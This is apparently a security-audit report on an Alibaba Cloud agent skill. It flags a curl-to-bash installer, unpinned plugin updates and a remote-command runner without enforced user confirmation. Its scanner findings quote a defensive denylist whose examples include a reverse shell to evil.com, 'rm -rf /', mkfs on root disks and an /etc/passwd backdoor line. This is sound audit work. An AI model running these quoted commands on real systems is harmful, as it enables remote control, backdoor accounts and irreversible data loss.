T03 · Remote Payload Retrieval and Execution
Error
- Location
scripts/install_security_guardrail.py:245- Finding
Unvalidated Remote Installation Command Executed on ECS Instances
- Content
View full analysis
- Remediation
View remediation
Security audit
Alibabacloud Sas Openclaw Security
Security checks for vulnerabilities and agentic risk
Overview
This appears to be a real Alibaba Cloud security-operations skill, but it can run remote commands and install mutable remote code on ECS hosts without enough enforced safeguards.
Review this skill before installing. Use it only with a dedicated least-privileged Alibaba Cloud identity, restrict ecs:RunCommand to specific ECS instances, avoid automatic plugin updates where possible, verify installer provenance out of band, and require human approval for the exact command and target list before any Cloud Assistant action.
Vulnerability Patterns
- Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
- Insecure DependenciesIntroduces malicious components through unsafe dependency sources
- Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
- Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
- Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
Findings (5)
T03 · Remote Payload Retrieval and Execution
Error
- Location
SKILL.md:27- Finding
Aliyun CLI Installation Uses an Unverified curl-to-Shell Pipeline
- Content
View full analysis
= 3.3.3 required** > Run `aliyun version` to verify >= 3.3.3. If not installed or version too low, > run `curl -fsSL https://aliyuncli.alicdn.com/setup.sh | bash` to update. ``` ### Technical Analysis The documented prerequisite pipes content retrieved over HTTPS directly into Bash. The user cannot inspect the complete payload before execution, and the instruction does not pin a version, verify a checksum, validate a signature, or preserve the script for review. The hostname appears related to Alibaba Cloud, but its ownership and the integrity of the delivered script cannot be established from the audited repository. HTTPS protects the connection under normal conditions but does not protect against an upstream source compromise, CDN compromise, signing-certificate misuse, or an unexpected change to the script at the same URL. ### Attack Path 1. An attacker compromises the upstream script, CDN delivery path, DNS resolution, or another trusted component in the distribution chain. 2. A user follows the Skill prerequisite and executes the documented pipeline. 3. `curl` retrieves the attacker-controlled response. 4. Bash begins executing the response directly without signature, checksum, or content validation. 5. The payload executes with the privileges of the user running the prerequisite, potentially including administrative privileges. ### Impact Assessment The downloaded script obtains arbitrary local code execution. It may access the user’s Alibaba Cloud CLI configuration, alter local binaries, install persistence, steal credentials, or issue cloud API calls using the user’s configured identity. If the command is run as root or under an administrative automation account, compromise can extend to the entire local system. Cloud impac ...[truncated 141 chars]- Remediation
View remediation
T08 · Insecure Dependencies
Error
- Location
SKILL.md:31- Finding
Mandatory Automatic CLI Plugin Installation Introduces an Unpinned Supply Chain
- Content
View full analysis
[MUST] run `aliyun configure set --auto-plugin-install true` to enable automatic plugin installation. > [MUST] run `aliyun plugin update` to ensure that any existing plugins are always up-to-date. ``` ### Technical Analysis The Skill requires automatic plugin installation and unconditional updates without identifying approved plugins, pinning versions, verifying hashes, or requiring review of changes. Plugins are executable components loaded into the Aliyun CLI workflow, so their behavior is outside the reviewed repository. Forcing “latest” plugin versions means the actual executable dependency set can change between runs. A compromised plugin registry, publisher account, update channel, or plugin release can therefore introduce code with access to the local execution environment and Aliyun CLI credentials. ### Attack Path 1. An attacker compromises an upstream plugin package, registry, publisher account, or update-delivery channel. 2. A user follows the mandatory instructions and enables automatic plugin installation. 3. `aliyun plugin update` or a subsequent CLI invocation installs the compromised plugin. 4. The plugin executes as part of legitimate-looking Aliyun CLI operations. 5. It accesses local data or performs unauthorized cloud operations using the configured identity. ### Impact Assessment A malicious plugin can execute with the privileges of the local user and may access CLI configuration files, API responses, command arguments, generated reports, and other user-readable secrets. Cloud-side impact is limited by the configured RAM identity but can be substantial because this Skill requires permissions for Security Center queries, scan dispatch, AISC installation-key retrieval, and ...[truncated 125 chars]- Remediation
View remediation
T09 · Insecure Skill Coding Practices
Error
- Location
scripts/run_cloud_assistant_command.py:282- Finding
Remote Arbitrary Command Execution Does Not Enforce Documented User Confirmation
- Content
View full analysis
None: args = parse_args() instance_ids = _to_instance_ids(args.instance_ids) if not instance_ids: raise ValueError("请至少提供一个有效的 --instance-ids") # 在提交到云助手之前，对命令进行安全检测； # 若命令命中恶意规则，BlockedCommandError 会在此处终止程序，不会发起任何 API 调用。 check_command_safety(args.command) client = EcsClient(region=args.region) region = args.region or "cn-hangzhou" params = f"region={region}, instances={len(instance_ids)}, " f"type={args.type}" print(f"[*] 提交云助手命令 ({params})") result = client.run_command( instance_ids=instance_ids, command_content=args.command, command_type=args.type, name=args.name, description=args.description, timeout=args.timeout, working_dir=args.working_dir, username=args.username, keep_command=True if args.keep_command else None, ) ``` The missing control contradicts `SKILL.md:200-204`: ```markdown 1. Clearly inform the user of the full command content to be executed. 2. Require the user to explicitly confirm (reply with agreement) before executing the command. 3. If the user has not confirmed or the command is high-risk, execution is prohibited. ``` ### Technical Analysis The executable accepts arbitrary plaintext shell commands and dispatches them immediately after a regex-based denylist check. It does not require an approval token, interactive confirmation, signed request, command digest acknowledgment, or other evidence that the user approved the exact command and target set. The denylist is not an authorization boundary. It covers only selected textual forms and can be bypassed through alternate tools, encoded payloads, shell variables, aliases, indirect file execution, langua ...[truncated 1398 chars]- Remediation
View remediation
T09 · Insecure Skill Coding Practices
Warning
- Location
scripts/get_ai_agent_plugin_command.py:75- Finding
Installation Command and Complete API Response Are Stored in Plaintext
- Content
View full analysis
- Remediation
View remediation
Vulnerability Patterns
- Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
- Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
- Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
- YARA SignaturesMalware Match, Webshell Match, Cryptominer Match
- MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
Findings (74)
YARA rule 'reverse_shell': Reverse shell patterns in scripts or source code [malware]
Critical
- Category
- YARA Match
- Confidence
- 91% confidence
- Finding
This script exposes a powerful remote command-execution capability over ECS instances and relies on a regex blocklist for safety. In a security-operations skill context, that is risky because blocklists are bypass-prone and an attacker can often rephrase destructive or persistence-establishing shell commands to evade pattern matching, leading to unauthorized code execution across cloud instances.
- Content
python temctl)\s+(stop|disable|mask|kill)\s+(aliyun[_-]?assist|cloud[_-]?agent|aegis)", "reason": "禁止停止/禁用云助手 Agent（aliyun_assist_client），会导致实例失联无法远程运维", "example": "systemctl stop aliyun_assist_client", }, { # 禁止：向 crontab 或 /etc/cron* 写入反弹 shell # 常见攻击手法：通过 crontab 定时执行 bash -i >& /dev/tcp/<ip>/<port> 0>&1 # 将服务器 shell 反弹到攻击者控制的主机，实现持久化远控。 "pattern": r"\/dev\/tcp\/[0-9a-zA-Z._-]+\/[0-9]+", "reason": "禁止使用 /dev/tcp 反弹 Shell，该手法常用于建立持久化远程控制后门", "example": "bash -i >& /dev/tcp/evil.com/4444 0>&1", }, { # 禁止：通过 curl/wget 将远程脚本直接 pipe 给 bash/sh 执行 # 该模式常用于一键安装木马或挖矿程序，脚本内容完全不透明，风险极高。 # 典型形式：curl http://e
Tp4
High
- Category
- MCP Tool Poisoning
- Confidence
- 94% confidence
- Finding
The skill description does not cleanly match all of the behaviors it advertises, including installation/bootstrap capabilities involving guardrails or AI agent/plugin retrieval. This kind of mismatch can mislead operators about what the skill may do, reducing informed consent and making risky actions such as software installation or remote changes more likely to be invoked unexpectedly.
- Content
Tp4
High
- Category
- MCP Tool Poisoning
- Confidence
- 95% confidence
- Finding
The skill description does not cleanly match all of the behaviors it advertises, including installation/bootstrap capabilities involving guardrails or AI agent/plugin retrieval. This kind of mismatch can mislead operators about what the skill may do, reducing informed consent and making risky actions such as software installation or remote changes more likely to be invoked unexpectedly.
- Content
Tp4
High
- Category
- MCP Tool Poisoning
- Confidence
- 96% confidence
- Finding
The skill description does not cleanly match all of the behaviors it advertises, including installation/bootstrap capabilities involving guardrails or AI agent/plugin retrieval. This kind of mismatch can mislead operators about what the skill may do, reducing informed consent and making risky actions such as software installation or remote changes more likely to be invoked unexpectedly.
- Content
Tp4
High
- Category
- MCP Tool Poisoning
- Confidence
- 90% confidence
- Finding
The skill description does not cleanly match all of the behaviors it advertises, including installation/bootstrap capabilities involving guardrails or AI agent/plugin retrieval. This kind of mismatch can mislead operators about what the skill may do, reducing informed consent and making risky actions such as software installation or remote changes more likely to be invoked unexpectedly.
- Content
Tp4
High
- Category
- MCP Tool Poisoning
- Confidence
- 91% confidence
- Finding
The skill description does not cleanly match all of the behaviors it advertises, including installation/bootstrap capabilities involving guardrails or AI agent/plugin retrieval. This kind of mismatch can mislead operators about what the skill may do, reducing informed consent and making risky actions such as software installation or remote changes more likely to be invoked unexpectedly.
- Content
External Script Fetching
High
- Category
- Supply Chain
- Confidence
- 98% confidence
- Finding
The skill instructs users to execute a remote script fetched over the network directly into bash:
curl ... | bash. This is a classic supply-chain and arbitrary code execution risk because any compromise of the hosting endpoint, TLS interception failure, DNS hijack, or unexpected script change would result in immediate local code execution with the user's privileges.- Content
md **Pre-check: Aliyun CLI >= 3.3.3 required** > Run `aliyun version` to verify >= 3.3.3. If not installed or version too low, > run `curl -fsSL https://aliyuncli.alicdn.com/setup.sh | bash` to update. **Pre-check: Aliyun CLI plugin update required** > [MUST] run `aliyun configure set --auto-plugin-install true` to enable automatic plugin installation.
Ae1
High
- Category
- analysis-evasion
- Confidence
- 100% confidence
- Finding
Referenced artifact was not completely inspected
- Content
md - [Remediation and Product Recommendations](references/remediation_guide.md)
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 100% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
python { # 禁止：递归强制删除根目录（/ 或 /*） # 该命令会不可逆地抹除整个文件系统，导致实例彻底瘫痪，数据永久丢失。 # 典型形式：rm -rf / / rm -rf /* / rm --no-preserve-root -rf / "pattern": r"rm\s+.*-[a-z]*r[a-z]*f[a-z]*\s+/\*?$", "reason": "禁止递归强制删除根目录（rm -rf /），会永久抹除整个文件系统", "example": "rm -rf /",
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 95% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
python { # 禁止：递归强制删除根目录（/ 或 /*） # 该命令会不可逆地抹除整个文件系统，导致实例彻底瘫痪，数据永久丢失。 # 典型形式：rm -rf / / rm -rf /* / rm --no-preserve-root -rf / "pattern": r"rm\s+.*-[a-z]*r[a-z]*f[a-z]*\s+/\*?$", "reason": "禁止递归强制删除根目录（rm -rf /），会永久抹除整个文件系统", "example": "rm -rf /",
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 100% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
python { # 禁止：递归强制删除根目录（/ 或 /*） # 该命令会不可逆地抹除整个文件系统，导致实例彻底瘫痪，数据永久丢失。 # 典型形式：rm -rf / / rm -rf /* / rm --no-preserve-root -rf / "pattern": r"rm\s+.*-[a-z]*r[a-z]*f[a-z]*\s+/\*?$", "reason": "禁止递归强制删除根目录（rm -rf /），会永久抹除整个文件系统", "example": "rm -rf /",
YARA rule 'agent_skill_destructive_autonomous_actions': Autonomous destructive filesystem, shell history, or repository actions in AI agent skills [agent_skills]
High
- Category
- YARA Match
- Confidence
- 75% confidence
- Finding
YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).
- Content
python �报。 # 3. 新增规则时请同步补充 reason 与 example，保持文档化。 # --------------------------------------------------------------------------- _BLOCKED_PATTERNS: list[dict] = [ { # 禁止：递归强制删除根目录（/ 或 /*） # 该命令会不可逆地抹除整个文件系统，导致实例彻底瘫痪，数据永久丢失。 # 典型形式：rm -rf / / rm -rf /* / rm --no-preserve-root -rf / "pattern": r"rm\s+.*-[a-z]*r[a-z]*f[a-z]*\s+/\*?$", "reason": "禁止递归强制删除根目录（rm -rf /），会永久抹除整个文件系统", "example": "rm -rf /", }, { # 禁止：对根设备执行 mkfs 格式化 # mkfs 会对目标设备重新建立文件系统，原有数据将全部丢失。 # 针对 /dev/vda、/dev/sda、/dev/xvda 等常见云盘设备名称做拦截。 # 典型形式：mkfs.ext4 /dev/vda / mkfs -t xfs /dev/sda "pattern": r"mkfs(\.[a-z0-
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 100% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
python # 该命令会不可逆地抹除整个文件系统，导致实例彻底瘫痪，数据永久丢失。 # 典型形式：rm -rf / / rm -rf /* / rm --no-preserve-root -rf / "pattern": r"rm\s+.*-[a-z]*r[a-z]*f[a-z]*\s+/\*?$", "reason": "禁止递归强制删除根目录（rm -rf /），会永久抹除整个文件系统", "example": "rm -rf /", }, {
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 100% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
python # 该命令会不可逆地抹除整个文件系统，导致实例彻底瘫痪，数据永久丢失。 # 典型形式：rm -rf / / rm -rf /* / rm --no-preserve-root -rf / "pattern": r"rm\s+.*-[a-z]*r[a-z]*f[a-z]*\s+/\*?$", "reason": "禁止递归强制删除根目录（rm -rf /），会永久抹除整个文件系统", "example": "rm -rf /", }, {
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 100% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
python # 该命令会不可逆地抹除整个文件系统，导致实例彻底瘫痪，数据永久丢失。 # 典型形式：rm -rf / / rm -rf /* / rm --no-preserve-root -rf / "pattern": r"rm\s+.*-[a-z]*r[a-z]*f[a-z]*\s+/\*?$", "reason": "禁止递归强制删除根目录（rm -rf /），会永久抹除整个文件系统", "example": "rm -rf /", }, {
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 100% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
python # 该命令会不可逆地抹除整个文件系统，导致实例彻底瘫痪，数据永久丢失。 # 典型形式：rm -rf / / rm -rf /* / rm --no-preserve-root -rf / "pattern": r"rm\s+.*-[a-z]*r[a-z]*f[a-z]*\s+/\*?$", "reason": "禁止递归强制删除根目录（rm -rf /），会永久抹除整个文件系统", "example": "rm -rf /", }, {
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 100% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
python # 该命令会不可逆地抹除整个文件系统，导致实例彻底瘫痪，数据永久丢失。 # 典型形式：rm -rf / / rm -rf /* / rm --no-preserve-root -rf / "pattern": r"rm\s+.*-[a-z]*r[a-z]*f[a-z]*\s+/\*?$", "reason": "禁止递归强制删除根目录（rm -rf /），会永久抹除整个文件系统", "example": "rm -rf /", }, {
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 95% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
python # 该命令会不可逆地抹除整个文件系统，导致实例彻底瘫痪，数据永久丢失。 # 典型形式：rm -rf / / rm -rf /* / rm --no-preserve-root -rf / "pattern": r"rm\s+.*-[a-z]*r[a-z]*f[a-z]*\s+/\*?$", "reason": "禁止递归强制删除根目录（rm -rf /），会永久抹除整个文件系统", "example": "rm -rf /", }, {
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 95% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
python # 该命令会不可逆地抹除整个文件系统,导致实例彻底瘫痪,数据永久丢失。 # 典型形式:rm -rf / / rm -rf /* / rm --no-preserve-root -rf / "pattern": r"rm\s+.*-[a-z]*r[a-z]*f[a-z]*\s+/\*?$", "reason": "禁止递归强制删除根目录(rm -rf /),会永久抹除整个文件系统", "example": "rm -rf /", }, {
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 95% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
python # 典型形式：rm -rf / / rm -rf /* / rm --no-preserve-root -rf / "pattern": r"rm\s+.*-[a-z]*r[a-z]*f[a-z]*\s+/\*?$", "reason": "禁止递归强制删除根目录（rm -rf /），会永久抹除整个文件系统", "example": "rm -rf /", }, { # 禁止：对根设备执行 mkfs 格式化
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 60% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
python "example": "systemctl disable firewalld", }, { # 禁止：修改 /etc/passwd 以创建 UID=0 的后门账户 # 向 /etc/passwd 写入 :0:0: 可以创建拥有 root 权限的隐藏账户。 # 典型形式：echo 'backdoor:x:0:0::/root:/bin/bash' >> /etc/passwd "pattern": r"(echo|printf|tee).*:0:0:.*>>?\s*\/etc\/passwd",
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 60% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
python "example": "systemctl disable firewalld", }, { # 禁止：修改 /etc/passwd 以创建 UID=0 的后门账户 # 向 /etc/passwd 写入 :0:0: 可以创建拥有 root 权限的隐藏账户。 # 典型形式：echo 'backdoor:x:0:0::/root:/bin/bash' >> /etc/passwd "pattern": r"(echo|printf|tee).*:0:0:.*>>?\s*\/etc\/passwd",
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 60% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
python "example": "systemctl disable firewalld", }, { # 禁止：修改 /etc/passwd 以创建 UID=0 的后门账户 # 向 /etc/passwd 写入 :0:0: 可以创建拥有 root 权限的隐藏账户。 # 典型形式：echo 'backdoor:x:0:0::/root:/bin/bash' >> /etc/passwd "pattern": r"(echo|printf|tee).*:0:0:.*>>?\s*\/etc\/passwd",
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 60% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
python "example": "systemctl disable firewalld", }, { # 禁止：修改 /etc/passwd 以创建 UID=0 的后门账户 # 向 /etc/passwd 写入 :0:0: 可以创建拥有 root 权限的隐藏账户。 # 典型形式：echo 'backdoor:x:0:0::/root:/bin/bash' >> /etc/passwd "pattern": r"(echo|printf|tee).*:0:0:.*>>?\s*\/etc\/passwd",
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 60% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
python "example": "systemctl disable firewalld", }, { # 禁止：修改 /etc/passwd 以创建 UID=0 的后门账户 # 向 /etc/passwd 写入 :0:0: 可以创建拥有 root 权限的隐藏账户。 # 典型形式：echo 'backdoor:x:0:0::/root:/bin/bash' >> /etc/passwd "pattern": r"(echo|printf|tee).*:0:0:.*>>?\s*\/etc\/passwd",
Static analysis
No suspicious patterns detected.